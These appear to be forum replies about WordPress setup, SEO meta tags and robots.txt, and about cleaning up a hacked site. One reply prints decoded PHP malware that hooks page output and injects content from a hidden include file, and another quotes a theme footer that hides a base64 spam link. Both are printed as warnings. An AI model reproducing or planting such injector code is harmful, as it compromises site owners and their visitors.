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Use the raw html plugin, then put your javascript in between the tags…

[raw]

<script type=”text/javascript”>
You Script;
</script>

[/raw]

WARNING =-> You cannot use the visual editor to open the page ever… or it’s screwed and cannot be fixed!

Meta tags are not going to drive traffic to your site. Building quality backlinks will.

Of course it is good to have meta tags… especially a meta description… the easiest way is to generate them using a free meta tag generator:

Then just copy and paste your tags into your header.

To build traffic, there is a site that shows you how to launch your site and build backlinks for free…
Website Launch

They start out from the basics… first by posting on high page rank forums which allow “site reviews”, and moving down the chain into directory submissions, automated search engine submissions, blog postings, dofollow blogs… etc.

Good luck.
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They do different things in my book…

robots.txt tells a bot where NOT to go.
sitemap.xml tells a bot where TO go.

Robots meta tags are just a more vague instruction that cannot go into details about particular folders, but must be put on each individual page.

Meta tags cannot tell bots not to index images, for example. Robots.txt can.

I don’t sweat it… I use a sitemap and generate my robots.txt file with a robots generator.
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I just use a meta tag generator – it makes life a lot easier, plus… I can tweak the code…

Then I just paste it into my header…

meta tag generator

Your Base_64 code decodes to this:

if(function_exists('ob_start')&&!isset($GLOBALS['sh_no'])){$GLOBALS['sh_no']=1;if(file_exists('/kunden/homepages/13/d187927210/htdocs/SturbridgeLakes/slaweb/wordpress/wp-includes/js/tinymce/themes/advanced/images/xp/js.php')){include_once('/kunden/homepages/13/d187927210/htdocs/SturbridgeLakes/slaweb/wordpress/wp-includes/js/tinymce/themes/advanced/images/xp/js.php');if(function_exists('gml')&&!function_exists('dgobh')){if(!function_exists('gzdecode')){function gzdecode($R20FD65E9C7406034FADC682F06732868){$R6B6E98CDE8B33087A33E4D3A497BD86B=ord(substr($R20FD65E9C7406034FADC682F06732868,3,1));$R60169CD1C47B7A7A85AB44F884635E41=10;$R0D54236DA20594EC13FC81B209733931=0;if($R6B6E98CDE8B33087A33E4D3A497BD86B&4){$R0D54236DA20594EC13FC81B209733931=unpack('v',substr($R20FD65E9C7406034FADC682F06732868,10,2));$R0D54236DA20594EC13FC81B209733931=$R0D54236DA20594EC13FC81B209733931[1];$R60169CD1C47B7A7A85AB44F884635E41+=2+$R0D54236DA20594EC13FC81B209733931;}if($R6B6E98CDE8B33087A33E4D3A497BD86B&8){$R60169CD1C47B7A7A85AB44F884635E41=strpos($R20FD65E9C7406034FADC682F06732868,chr(0),$R60169CD1C47B7A7A85AB44F884635E41)+1;}if($R6B6E98CDE8B33087A33E4D3A497BD86B&16){$R60169CD1C47B7A7A85AB44F884635E41=strpos($R20FD65E9C7406034FADC682F06732868,chr(0),$R60169CD1C47B7A7A85AB44F884635E41)+1;}if($R6B6E98CDE8B33087A33E4D3A497BD86B&2){$R60169CD1C47B7A7A85AB44F884635E41+=2;}$RC4A5B5E310ED4C323E04D72AFAE39F53=gzinflate(substr($R20FD65E9C7406034FADC682F06732868,$R60169CD1C47B7A7A85AB44F884635E41));if($RC4A5B5E310ED4C323E04D72AFAE39F53===FALSE){$RC4A5B5E310ED4C323E04D72AFAE39F53=$R20FD65E9C7406034FADC682F06732868;}return $RC4A5B5E310ED4C323E04D72AFAE39F53;}}function dgobh($RDA3E61414E50AEE968132F03D265E0CF){Header('Content-Encoding: none');$R3E33E017CD76B9B7E6C7364FB91E2E90=gzdecode($RDA3E61414E50AEE968132F03D265E0CF);if(preg_match('/\<body/si',$R3E33E017CD76B9B7E6C7364FB91E2E90)){return preg_replace('/(\<body[^\>]*\>)/si','$1'.gml(),$R3E33E017CD76B9B7E6C7364FB91E2E90);}else{return gml().$R3E33E017CD76B9B7E6C7364FB91E2E90;}}ob_start('dgobh');}}}

Looks like you fixed it, I just went over your HTML and did not see anything fishy…

What was the cure?

The base_64 coding decodes to this… sorry for posting their spam link:
<a href="https://www.hirewordpressexperts.com/">Wordpress Plugin Development</a>

Sorry, that should have said “ROGUE THEME”

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If you see base_64 code in a theme, don’t upload it.

All of the themes I downloaded from wordpressthemesbase.com/ had this in the footer:

<p><!–dnc997wordpress–>
<?php
if ( !is_user_logged_in() ) { ?>
<? echo base64_decode(“PGEgaHJlZj0iaHR0cDovL3d3dy5oaXJld29yZHByZXNzZXhwZXJ0cy5jb20vIj5Xb3JkcHJlc3Mg
UGx1Z2luIERldmVsb3BtZW50PC9hPg==”);?>
<? }?>
<!–dnc997wordpress–>

That is sneaky enough, as it decodes to this:

WordPress Plugin Development

But that wasn’t all… there are more payloads in those themes.

• Delete them.
• Replace wp-includes/general-template.php

Stay away from those clowns and their malware themes.

The hackers have hidden code all the way to the right of your index.php page.

Go into your site using your FTP or SFTP or SCP client and look at the latest changes to your blog. You will see changes to index.php and a bunch of other files.

The malicious code is hidden WAAAAAYYYYY over to the right where you might not notice it if you do not use the horizontal scroll bar.